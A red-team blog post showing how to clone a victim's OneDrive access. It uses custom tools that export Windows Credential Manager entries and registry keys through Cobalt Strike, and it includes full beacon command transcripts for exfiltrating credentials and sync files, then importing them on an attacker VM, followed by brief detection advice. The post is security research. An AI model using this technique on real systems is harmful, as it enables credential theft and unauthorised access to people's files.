Segmentation Vault: Cloning Thick Client Access


I started out this research having taken some inspiration from @buffaloverflow‘s Chlonium tool for easily exfiltrating and using a victim’s Chromium based web browser cookies. I was working on a red team engagement and was out of luck as the cookies I had on that occasion for Office 365 in the browser were out of date. I looked through the output from GhostPack’s Seatbelt tool and noticed some content from Windows Credential Manager or “Windows Vault”. Some of the entries consisted of binary blobs of data for several thick client Windows applications including Office and OneDrive. It was clear that the victim machine was signed into these applications, however, I was not immediately sure how to practically approach using the credential material that was before my eyes.

In this blog we discuss a practical method for red teams to compromise thick client applications when they store credential material in “Vault”, using Microsoft OneDrive as an example. It’s important to note that, yes of course you already have access to someone’s OneDrive files on a compromised host, but the benefits of this attack are that you save on C2 bandwidth and potentially should you be thrown out of the network you still keep access. For other applications there may be other advantages too.

To enable access to OneDrive to be cloned we also present two tools that were subsequently developed that can be used in a C2 framework such as Cobalt Strike using execute-assembly:

  • ‘Clone Vault’ allows red team operators to clone entries in Windows Credential Manager including binary blobs and importantly the credential’s attributes which is not easily possible having identified credentials in other tools such as SeatBelt.
  • ‘Registry Strikes Back’ allows red team operators to export valid registry (.reg) files as a low privileged user for portions of the Windows Registry.

“Windows Vault” Internals:

The main thing you need to know when playing around with Vault is the CREDENTIAL structure:

typedef struct _CREDENTIALA {
  DWORD                  Flags;
  DWORD                  Type;
  LPSTR                  TargetName;
  LPSTR                  Comment;
  FILETIME               LastWritten;
  DWORD                  CredentialBlobSize;
  LPBYTE                 CredentialBlob;
  DWORD                  Persist;
  DWORD                  AttributeCount;
  LPSTR                  TargetAlias;
  LPSTR                  UserName;

You can see when delving into Seatbelt’s CredEnumCommand that these structures are pulled when the code uses Advapi32 CredEnumerate to enumerate and dump the credentials that are available on the target host. When I started out looking at some of the credentials I had – I tried to just add to binary blobs from the hex strings in Seatbelt’s output (along with adding some of the required configurations, that we will come on to but not discuss in as much detail) but noticed that the apps I were targeting were still not signed in. I then spotted the crucial thing that was missing, the attributes!

What are these attributes anyway? As described here ” The CREDENTIAL_ATTRIBUTE structure contains an application-defined attribute of the credential. An attribute is a keyword-value pair. It is up to the application to define the meaning of the attribute.”. So an application developer can store arbitrary key values where each can be represented in the following structure:

  LPSTR  Keyword;
  DWORD  Flags;
  DWORD  ValueSize;
  LPBYTE Value;

For some thick client applications in fact they do not seem to store anything in the actual CredentialBlob and only use attributes. Armed with this information and some of the code in Seatbelt and some of the other projects that are referenced I started working out how we can easily exfiltrate the full extent of a stored credential. If you review this in detail you will find that from the main CREDENTIAL structure you have various pointers to memory locations you need to pull to get all the information you need. After some deliberation with the team in how I can serialise everything I eventually settled on creating the following internal classes in my C# tool “Clone Vault” and populating them:

private struct ExportCred
    public uint Flags;
    public CredentialType Type;
    public string TargetName;
    public string Comment;
    public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten;
    public uint CredentialBlobSize;
    public byte[] CredentialBlob;
    public uint Persist;
    public int AttributeCount;
    public ExportAttrib[] Attributes;
    public int AttributesLength;
    public string TargetAlias;
    public string UserName;

private struct ExportAttrib
    public string Keyword;
    public UInt32 Flags;
    public UInt32 ValueSize;
    public Byte[] Value;

The tool essential makes it easy to export and reconstruct a credential and now in the form of ExportCred the data be easily serialised for exfiltration. After finally developing this proof of concept tool – I finally started seeing some success in a number of thick client applications. The first one I want to describe is OneDrive.

Cloning OneDrive access

Firstly we run CloneVault.exe with a ‘list’ argument. You can see there is a OneDrive cached credential present on our test system whereby OneDrive is signed into a trial Microsoft Office365 E5 client. We can then use the ‘export’ command to export the entry in a JSON format. Following this we can use RegistryStrikesBack to export the whole OneDrive key and its subkeys from the registry.

beacon> execute-assembly C:\Tools\CloneVault.exe list
[*] Tasked beacon to run .NET program: CloneVault.exe list
[+] host called home, sent: 344115 bytes
[+] received output:
[*] Enumerating generic credentials
[-] MicrosoftAccount:target=SSO_POP_Device
[-] LegacyGeneric:target=OneDrive Cached Credential Business - Business1
[-] WindowsLive:target=virtualapp/didlogical

beacon> execute-assembly C:\Tools\CloneVault.exe export "LegacyGeneric:target=OneDrive Cached Credential Business - Business1"
[*] Tasked beacon to run .NET program: CloneVault.exe export "LegacyGeneric:target=OneDrive Cached Credential Business - Business1"
[+] host called home, sent: 344261 bytes
[+] received output:
[*] Attempting to export LegacyGeneric:target=OneDrive Cached Credential Business - Business1
[-] Attribute Microsoft_SkyDrive_Version
[-] Attribute Microsoft_SkyDrive_ConnectedId
[-] Attribute Microsoft_OneDrive_CredentialCount
[-] Attribute Microsoft_SyncClient_ADALContext
{'Flags':0,'Type':1,'TargetName':'LegacyGeneric:target=OneDrive Cached Credential Business - Business1','Comment':'Used to identify you when you start up OneDrive for business.','LastWritten':{'dwLowDateTime':-151716740,'dwHighDateTime':30837371},'CredentialBlobSize':1257,'CredentialBlob':'---TRIMMED JSON---','Persist':2,'AttributeCount':4,'Attributes':[{'Keyword':'Microsoft_SkyDrive_Version','Flags':0,'ValueSize':4,'Value':'BgAAAA=='},{'Keyword':'Microsoft_SkyDrive_ConnectedId','Flags':0,'ValueSize':4,'Value':'AAAAAA=='},{'Keyword':'Microsoft_OneDrive_CredentialCount','Flags':0,'ValueSize':4,'Value':'AQAAAA=='},{'Keyword':'Microsoft_SyncClient_ADALContext','Flags':0,'ValueSize':4,'Value':'AAAAAA=='}],'AttributesLength':96,'TargetAlias':null,'UserName':'1ca7bf0d-1f30-431c-aef8-54b6aba177eb'}

beacon> execute-assembly C:\Tools\RegistryStrikesBack.exe HKCU\Software\Microsoft\OneDrive C:\ProgramData\OneDriveBusiness.reg
[*] Tasked beacon to run .NET program: RegistryStrikesBack.exe HKCU\Software\Microsoft\OneDrive C:\ProgramData\OneDriveBusiness.reg
[+] host called home, sent: 114867 bytes
[+] received output:
[*] Writing Output to C:\ProgramData\OneDriveBusiness.reg

To successfully clone OneDrive access we also need a few more things. We need a copy of the settings files stored in AppData and some hidden files which designate a valid OneDrive sync folder. The hidden OneDrive file cannot be accessed when OneDrive is running you may have to temporarily kill off the OneDrive.exe process while you grab that. You can use Outflank’s Zipper or similar to easily grab the folder structures, although, for the OneDrive sync folder it is recommended that you only grab the minimum, not only to to save C2 bandwidth but also based on experience of the folders getting a little out of sync if you also exfiltrate documents that are present.

beacon> ls C:\Users\dade.murphy\AppData\Local\Microsoft\OneDrive\settings
[*] Tasked beacon to list files in C:\Users\dade.murphy\AppData\Local\Microsoft\OneDrive\settings
[+] host called home, sent: 80 bytes
[*] Listing: C:\Users\dade.murphy\AppData\Local\Microsoft\OneDrive\settings\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     09/14/2020 10:46:47   Business1
          dir     09/14/2020 10:46:47   Personal
 30kb     fil     09/13/2020 16:45:56   PreSignInSettingsConfig.json

beacon> zipper C:\Users\dade.murphy\AppData\Local\Microsoft\OneDrive\settings
[+] Let's start compressing, please wait...

[*] Tasked beacon to spawn Zipper
[+] host called home, sent: 187485 bytes
[+] received output:
 \____    /|__|_____ ______   ___________       
   /     / |  \____ \\____ \_/ __ \_  __ \ 
  /     /_ |  |  |_> >  |_> >  ___/|  | \/      
 /_______ \|__|   __/|   __/ \___  >__|        
         \/   |__|   |__|        \/            
                         Outflank Zipper        
                    By Cneeliz @Outflank 2020   

[+] Zipfile saved as:		 C:\Users\DADE~1.MUR\AppData\Local\Temp\
[+] Total files compressed:	 20
[+] Total folders compressed:	 6

[*] Listing: C:\Users\dade.murphy\OneDrive - DTM\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 63b      fil     09/14/2020 10:46:45   .849C9593-D756-4E56-8D6E-42412F2A707B
 102b     fil     09/14/2020 10:46:45   desktop.ini
 10kb     fil     09/13/2020 19:48:01   Document.docx
 10kb     fil     09/13/2020 19:48:22   Secret.docx

beacon> download .849C9593-D756-4E56-8D6E-42412F2A707B
[*] Tasked beacon to download .849C9593-D756-4E56-8D6E-42412F2A707B
[+] host called home, sent: 45 bytes
[*] started download of C:\Users\dade.murphy\OneDrive - DTM\.849C9593-D756-4E56-8D6E-42412F2A707B (63 bytes)
[*] download of .849C9593-D756-4E56-8D6E-42412F2A707B is complete
beacon> download desktop.ini
[*] Tasked beacon to download desktop.ini
[+] host called home, sent: 19 bytes
[*] started download of C:\Users\dade.murphy\OneDrive - DTM\desktop.ini (102 bytes)
[*] download of desktop.ini is complete

Now we have everything we need to clone OneDrive access. On our operator system we create a new virtual machine (and VPN for OPSec). As you can see we have no OneDrive cached credentials and OneDrive is not connected.

Close OneDrive.exe in the VM. Put the CloneVault JSON into a .txt file (you can do this directly on command line with ‘import’ although it depends on the length of your chosen target) and then import. You can see that the OneDrive cached credential now appears.

C:\Users\User\Desktop>CloneVault.exe importFile vault.txt
[*] Importing credential
[-] Attribute Microsoft_SkyDrive_Version
[-] Attribute Microsoft_SkyDrive_ConnectedId
[-] Attribute Microsoft_OneDrive_CredentialCount
[-] Attribute Microsoft_SyncClient_ADALContext
[*] Finished importing credential

C:\Users\User\Desktop>CloneVault.exe list
[*] Enumerating generic credentials
[-] MicrosoftAccount:target=SSO_POP_Device
[-] LegacyGeneric:target=OneDrive Cached Credential Business - Business1
[-] WindowsLive:target=virtualapp/didlogical

Copy in OfficeBusiness.reg from RegistryStrikesBack and double click it to import.

Now copy settings into place in AppData:

Finally, we prepare the OneDrive folder, it is probably possible to tweak the location in the registry dump although we found it easiest to keep the same as the target – in our instance “C:\Users\dade.murphy\OneDrive - DTM\“. We create a new folder in the right location. Copy the hidden files into it and set folder permissions to allow write access from the user you are logged in as.

Fingers crossed we can now launch OneDrive and sit back and enjoy access to the targets OneDrive:

As you can see we can download and open documents from the OneDrive using the cloned access:

Detection and Prevention

  • Abnormal Event ID 5382 “Vault credentials were read” logs may highlight that an attacker is accessing Windows Vault credentials.
  • Lockdown OneDrive to particular network locations. For other Office applications, you can ensure that Conditional Access Policies are applied.
  • Allow syncing only on computers joined to specific domains – This would likely raise the complexity required to carry out a similar technique, but may not fully mitigate it.

You can download CloneVault and RegistryStrikesBack from the ActiveBreach GitHub.

This post was written by David Middlehurst.

written by

MDSec Research

Ready to engage
with MDSec?

Copyright 2021 MDSec